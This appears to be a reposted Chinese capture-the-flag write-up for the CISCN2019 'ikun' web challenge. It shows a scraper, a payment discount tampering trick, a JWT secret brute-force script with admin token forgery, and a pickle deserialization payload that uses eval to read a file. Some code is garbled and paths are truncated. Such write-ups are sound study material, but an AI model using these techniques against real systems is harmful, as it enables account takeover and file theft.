CISCN2019

阅读: 评论:0

CISCN2019

CISCN2019

CISCN2019_华北赛区_Day1_Web2]ikun_1通关手册

  • 爬虫&支付逻辑漏洞 & jwt 密钥爆破& python 反序列化
    • 爬虫根据要求查找 lv6 的商品
    • 支付逻辑漏洞
    • jwt 密钥爆破
    • python 反序列化

爬虫&支付逻辑漏洞 & jwt 密钥爆破& python 反序列化

爬虫根据要求查找 lv6 的商品

这里直接利用 python 写一个脚本爬取

# -*- coding: UTF-8 -*-
# Time : 2022/11/14 10:37
# FILE : rangeLv6.py
# PROJECT : range.py
# Author : kkk
import time
from lxml import etree
quest# 定义请求
def requestUrl(i):url = ":81/shop?page=" + str(i)res = quest.urlopen(url).read().decode('utf-8')return resdef check(content, i):tree = etree.HTML(content)res = tree.xpath("/html/body//img[@class='lv']/@src")for item in res:if ('lv6' in item):print(i)return Truereturn Falseif __name__ == '__main__':print(&#")for i in range(1, 1000):if (i % 10 == 0):# 防止请求太频繁time.sleep(0.5)if(check(requestUrl(i), i)):break

发现 lv6 商品在 181 页:

支付逻辑漏洞

点击购买再点击结算,回显操作失败,查看账户余额发现是金额不够
查看优惠券附近的表单,发现折扣写在表单中:

直接修改折扣值,乘以 0.00000 很多个 08

jwt 密钥爆破

点击结算后虽然成功了,但是需要 admin 才能查看

看到这个一下就能想到垂直越权,所以直接刷新页面抓包
发现 JWT token

我们打开jwt 解密网站将其解密

发现用户是我刚刚注册的用户

我们只要将 username 的值修改为 admin 应该就可以绕过

但是我前两次用的字典都爆破失败了,所以这里写个脚本针对性生成密钥字典用来爆破

# _*_ utf-8 _*_
# Time : 2022/11/14 12:12
# FILE : keyFuzz.py
# PROJECT : range.py
# Author : kkk# 关键词 ikun
# 利用库生成字典
import itertools as itsif __name__ == '__main__':for i in range(1, 7):words = "1ikunIKUN"a = its.product(words, repeat=i)fp = open(&#", "a")for i in a:fp.write("".join(i))fp.write("".join("n"))fp.close()

生成的字典中包含 1ikunIKUN 字符串从一位到七位的所有组合

成功爆破出 key 为 1Kun

我们将密钥填入,并且把 username 修改为 admin

复制得到的 jwt 到数据包中替换原来的 jwt 并且发送

伪造成 admin 成功进入该页面

python 反序列化

我们点击 一键成为大会员 页面没有变化,那么我们看该页面源码,发现了网站备份

在网站源码搜索该页面地址,发现路由指向 adminhandler

进入该目录,打开 admin 文件,发现接收了一个叫 become 的值

并且进行了反序列化,即可判断此处存在反序列化漏洞

再次点击 一键成为大会员 并且抓包,发现 become

通过反序列化的代码:

def post(self, *args, **kwargs):try:become = _argument('become')p = pickle.loads(urllib.unquote(become))der('form.html', res=p, member=1)except:der('form.html', res='This is Black Technology!', member=0)

我们可以构造 payload 读取 flag,先用 pickle 进行序列化,然后再 URL 编码

  • 但是注意一定要用 python2 来序列化,否则没有用,可能是版本不兼容

生成 payload 代码:

# -*- coding: UTF-8 -*-
# Time : 2022/11/14 17:26
# FILE : payload.py
# PROJECT : range.py
# Author : kkkimport pickle
import urllibclass payload(object):def __reduce__(self):return (eval, ("open('/', 'r').read()", ))a = pickle.dumps(payload())
a = urllib.quote(a)
print(a)  # 序列化然后再编码

在 kali 中用 python2 运行:

将 become 替换成 payload

成功读到 flag

本文发布于:2024-01-31 21:20:32,感谢您对本站的认可!

本文链接:https://www.4u4v.net/it/170670723231433.html

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。

标签:
留言与评论(共有 0 条评论)
   
验证码:

Copyright ©2019-2022 Comsenz Inc.Powered by ©

网站地图1 网站地图2 网站地图3 网站地图4 网站地图5 网站地图6 网站地图7 网站地图8 网站地图9 网站地图10 网站地图11 网站地图12 网站地图13 网站地图14 网站地图15 网站地图16 网站地图17 网站地图18 网站地图19 网站地图20 网站地图21 网站地图22/a> 网站地图23